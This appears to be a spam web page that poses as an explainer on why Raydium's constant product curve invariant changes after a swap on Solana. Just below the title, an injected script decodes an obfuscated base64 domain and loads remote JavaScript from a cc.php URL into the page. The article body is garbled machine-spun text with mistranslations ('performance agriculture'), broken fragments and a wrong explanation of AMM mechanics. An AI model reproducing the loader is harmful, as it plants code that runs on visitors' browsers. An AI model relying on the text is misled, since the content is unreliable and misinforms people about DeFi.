Solana: Why does Raydium’s constant product curve’s constant change after a swap?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1ec92344″;document.body.appendChild(script);

The constant product exchange curve of Solana: to unravel the mystery behind the behavior of Raydium

Mechanics are crucial to making informed decisions. One of these systems is Raydium, a liquidity supplier that uses a constant product exchange curve to optimize its performance agriculture operations. The constant product exchange curve after an exchange.

The constant product exchange curve

The exchange of constant products exchange. The price of the assets and the expected yield.

** Why a constant change of curve after the exchange?

The constant change in the constant product exchange curve after an exchange can be attributed to several factors:

• Désumance of supply and demand

  

  : this can lead to a revaluation of the expected performance on the asset exchanged. .

2 After a swap, the market forces that have influenced the initial calculation of the contaire of Curvea may no longer be external, requiring an update of the curve.

• Optimization objectives

  : The Raydium performance agriculture strategy is based on the optimization of its portfolio to maximize yields. The constant product exchange curve is a tool used for this optimization. After a swap, the optimized wallet may have to be recalculated, which can cause changes in expected yields.

• Mathematical complexity : as new data become available or as market conditions change,

Naive hypotheses … and ideas

Your naive hypothesis could have been that the product exchange curve would remain unchanged after an exchange. However, it is not necessary. Go into the underlying dynamics of the Raydium performance agriculture strategy.

Conclusion

The constant change in the exchange curve of constant products after an exchange on Raydium highlights the dynamic nature of the Solana ecosystem and the need for continuous optimization and adaptation. As market conditions are changing and the new data emerge, the curve will have to reflect these changes. DEFI systems and the importance of continuous evaluation.

Recommendations

The following:

• Monitor the market forces and the imbalances in supply and demand after each exchange.

• Analyze the optimization objectives and how the portfolio changes affected the yields.

• Study mathematical complexity and how it influences the exchange curve of constant products.

*

Exchange the curve,

Metamask Confirm Respond